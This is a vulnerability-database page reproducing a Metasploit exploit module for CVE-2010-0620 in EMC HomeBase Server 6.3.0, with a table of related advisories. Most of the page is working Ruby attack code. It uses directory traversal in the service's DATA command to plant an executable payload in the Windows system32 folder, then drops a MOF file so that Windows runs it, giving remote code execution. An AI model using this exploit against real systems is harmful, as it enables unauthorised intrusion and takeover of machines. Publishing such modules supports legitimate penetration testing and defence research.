Lucene search
K

EMC HomeBase Server Directory Traversal Remote Code Execution

🗓️ 28 Apr 2011 00:00:00Reported by MCType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 36 Views

EMC HomeBase Server Directory Traversal Remote Code Execution in version 6.3.0 on Windows XP SP3 and Windows 2003 SP

Related
Code
ReporterTitlePublishedViews
Family
0day.today
EMC HomeBase Server Directory Traversal Remote Code Execution
28 Apr 201100:00
zdt
Circl
CVE-2010-0620
27 Apr 201100:00
circl
CVE
CVE-2010-0620
25 Feb 201000:00
cve
Cvelist
CVE-2010-0620
25 Feb 201000:00
cvelist
d2
DSquare Exploit Pack: D2SEC_HOMEBASE
25 Feb 201000:30
d2
Exploit DB
EMC HomeBase Server - Directory Traversal Remote Code Execution (Metasploit)
27 Apr 201100:00
exploitdb
EUVD
EUVD-2010-0651
7 Oct 202500:30
euvd
NVD
CVE-2010-0620
25 Feb 201000:30
nvd
Prion
Directory traversal
25 Feb 201000:30
prion
securityvulns
ZDI-10-020: EMC HomeBase SSL Service Arbitrary File Upload Remote Code Execution Vulnerability
25 Feb 201000:00
securityvulns
Rows per page
`##  
# $Id: emc_homebase_exec.rb 12458 2011-04-27 20:29:27Z mc $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GreatRanking  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::EXE  
include Msf::Exploit::WbemExec  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'EMC HomeBase Server Directory Traversal Remote Code Execution',  
'Description' => %q{  
This module exploits a directory traversal and remote code execution  
flaw in EMC HomeBase Server 6.3.0.  
  
Note: This module has only been tested against Windows XP SP3 and Windows 2003 SP2   
},  
'Author' => [ 'MC' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision: 12458 $',  
'References' =>  
[  
[ 'CVE', '2010-0620' ],  
[ 'BID', '38380' ],  
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-020/' ],  
],  
'Privileged' => true,  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
'InitialAutoRunScript' => 'migrate -f',  
},  
'Payload' =>  
{  
'Space' => 2048,  
'DisableNops' => true,  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Automatic', { } ],  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Feb 23 2010'))  
  
register_options(  
[  
Opt::RPORT(18821),  
OptBool.new('SSL', [true, 'Use SSL', true]),  
], self.class)  
end  
  
def exploit  
  
name = exe_name()  
exe_upload(name)  
select(nil,nil,nil,2)  
mof_upload(name)  
select(nil,nil,nil,4)  
handler  
  
end  
  
def exe_name  
  
rand_text_alpha_upper(8) + ".exe"  
  
end  
  
def exe_upload(exe_name)  
  
# this uploads our final exe payload.  
  
data = generate_payload_exe  
exe_dir = "/..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\WINDOWS\\\\system32\\\\"  
  
connect  
  
banner = sock.get  
if ( banner =~ /EMC HomeBase HomebaseSSL Service/ )  
print_good("EMC HomeBase HomebaseSSL Service Detected!")  
print_status("Sending exe payload '#{exe_name}'...")  
sock.put("DATA #{exe_dir}#{exe_name} #{data.length}\r\n")  
ready = sock.get  
if ( ready =~ /150 Ready to Recieve Data/ )  
print_good("#{ready.strip}")  
print_status("Sending '#{data.length}' bytes of data...")  
sock.put(data)  
complete = sock.get  
if ( complete =~ /226 Data Complete/ )  
print_good("#{complete.strip}")  
print_status("Sending 'QUIT")  
sock.put("quit\r\n")  
return  
end  
else  
print_error("Something went wrong...")  
return  
end  
else   
print_error("Not a EMC HomeBaseSSL Service")  
return  
end  
  
disconnect  
  
end  
  
def mof_upload(exe_name)  
  
# this is what runs our uploaded exe payload.  
  
mof_name = rand_text_alphanumeric(8+rand(8))  
mof = generate_mof(mof_name, exe_name)  
mof_dir = "/..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\WINDOWS\\\\system32\\\\wbem\\\\mof\\\\"  
  
connect  
  
banner = sock.get  
if ( banner =~ /EMC HomeBase HomebaseSSL Service/ )  
print_good("EMC HomeBase HomebaseSSL Service Detected!")  
print_status("Sending MOF file '#{mof_name}'...")  
sock.put("DATA #{mof_dir}#{mof_name} #{mof.length}\r\n")  
ready = sock.get  
if ( ready =~ /150 Ready to Recieve Data/ )  
print_good("#{ready.strip}")  
print_status("Sending '#{mof.length}' bytes of data...")  
sock.put(mof)  
complete = sock.get  
if ( complete =~ /226 Data Complete/ )  
print_good("#{complete.strip}")  
print_status("Sending 'QUIT")  
sock.put("quit\r\n")  
return  
end  
else  
print_error("Something went wrong...")  
return  
end  
else  
print_error("Not a EMC HomeBaseSSL Service")  
return  
end  
  
disconnect  
  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation